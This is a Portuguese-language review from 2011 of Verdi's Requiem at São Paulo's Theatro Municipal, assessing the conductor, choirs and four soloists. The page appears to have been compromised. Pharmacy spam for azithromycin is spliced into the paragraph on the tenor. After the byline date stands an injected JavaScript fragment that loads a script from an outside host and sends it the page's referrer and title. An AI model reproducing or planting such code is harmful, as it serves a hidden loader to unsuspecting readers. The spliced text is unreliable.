Crítica

Sobre o “Requiem”, de Verdi, no Municipal SP

Uma versão modesta do Requiem de Verdi no Theatro Municipal de São Paulo aconteceu na noite de 29 de Outubro em mais uma comemoração do centenário daquele teatro.

Para executá-la, a Orquestra Sinfônica Municipal e os dois corais da casa: o Lírico Municipal e o Paulistano, compondo assim o Coral Municipal.

Foi a 22 de maio de 1873 que falecera Alessandro Manzoni, poeta e autor do famoso romance “I Promessi Sposi” (Os Noivos). Era um grande amigo de Verdi, este visitara seu tumulo e, perante a campa, solitário e anônimo, jurou erguer à memória do mestre idolatrado uma grande obra coral sinfônica.  Oficiou, então, ao prefeito de Milão, oferecendo uma Missa de Requiem para o primeiro aniversário da morte de Manzoni.

E foi assim que o “Libera me”, do Requiem a Rossini, converteu-se no capítulo conclusivo do monumental Requiem a Manzoni, agora estreado a 22 de maio de 1874, na Igreja de San Marco, em Milão, dirigido pelo próprio Verdi, no comando de uma orquestra de cem músicos e um coro de cento e vinte cantores.

Três dias após, Verdi retornou à batuta e regeu o Requiem no Teatro Scala por mais três récitas, todas com imenso triunfo, apesar de inúmeras controvérsias e diferentes pontos de vista. O mundo todo a conheceu em pouco tempo e até hoje é considerada uma de suas maiores composições e de maior inspiração teatral, como um verdadeiro oratório lírico-dramático.

 

A Orquestra Sinfônica Municipal regida por Abel Rocha realizou uma leitura bastante correta, respondendo bem aos comandos de seu líder que soube organizar com maestria esse vasto e completo material,  permitindo qua a partitura mostrasse suas riquezas,  sem perder sua arquitetura musical.

O Coral Lírico Municipal e o Paulistano unidos denotaram séria preparação por seus maestros titulares salientando-se no furioso “Dies Irae”, no “Sanctus”, em “Agnus Dei” e na bela fuga do Libera me, págima climática dessa partitura.

Dos solistas, todos da Itália, há que se destacar a presença do baixo Riccardo Ferrari que se impôs sobre o quarteto com um timbre bonito em voz ampla  e de largo alcance dinâmico. Realçou-se na súplica “Confutatis maledictis” (Andante), na qual distinguiu sua musicalidade e domínio do repertório dramático.

O soprano Carmen Giannattasio, no registro de soprano lírico, possui grande volume e desenvoltura no canto, mas ao matizar perde o timbre rico e vibrante que lhe é peculiar; hesitante também na afinação, não se fez  sobressair  nos momentos em que Verdi lhe pede “pianissimo” sobretudo em “hostias”, concluindo o Domine Jesu Christe e também no introito: Requiem aeternam, páginas estas de imensa sutileza para o soprano solista.

Foi no “Liber scriptus proferetur”, enquanto o coro repete monotonamente o famoso “Dies irae”, em sonoridades agora patéticas e sinistras, que o mezzo soprano Tiziana Carraro demonstrou seu arsenal vocal conduzido em muito boa escola, timbre agradável, bela sonoridade e graves bem apoiados; entretanto não é uma cantora verdiana para enfrentar os ataques súbitos  que Verdi lhe impõe. Muito melhor estaria a bela cantora em repertório de Mozart, Bellini ou Rossini ou ainda do período barrocorrenascentista.

E finalmente o cantor menos sólido do conjunto, o tenor lírico ligeiro azithromycin over the counter cvs Cristiano Cremonini, que enfrentou a penosa parte que lhe coube considerando-se que suas condições vocais são adversas à partitura desta obra. Sua interpretação do famoso “Ingemisco”, onde lamenta as culpas do pecador, em frases de ímpar beleza lírica, Cremonini esforçou-se além de seus limites vocais,  porém as circunstâncias o pressionaram, não superando assim, as diversas frações do gênero que permeiam a conjuntura desta grandiloquente obra de Giuseppe Verdi.

Escrito por Marco Antônio Seta, em 31 de Outubro de 2011.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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Marco Antônio Seta
Diplomado em Educação Musical, Artes Visuais e Educação Artística. Publicou artigos e críticas de óperas em vários veículos de SP ao longo de três décadas.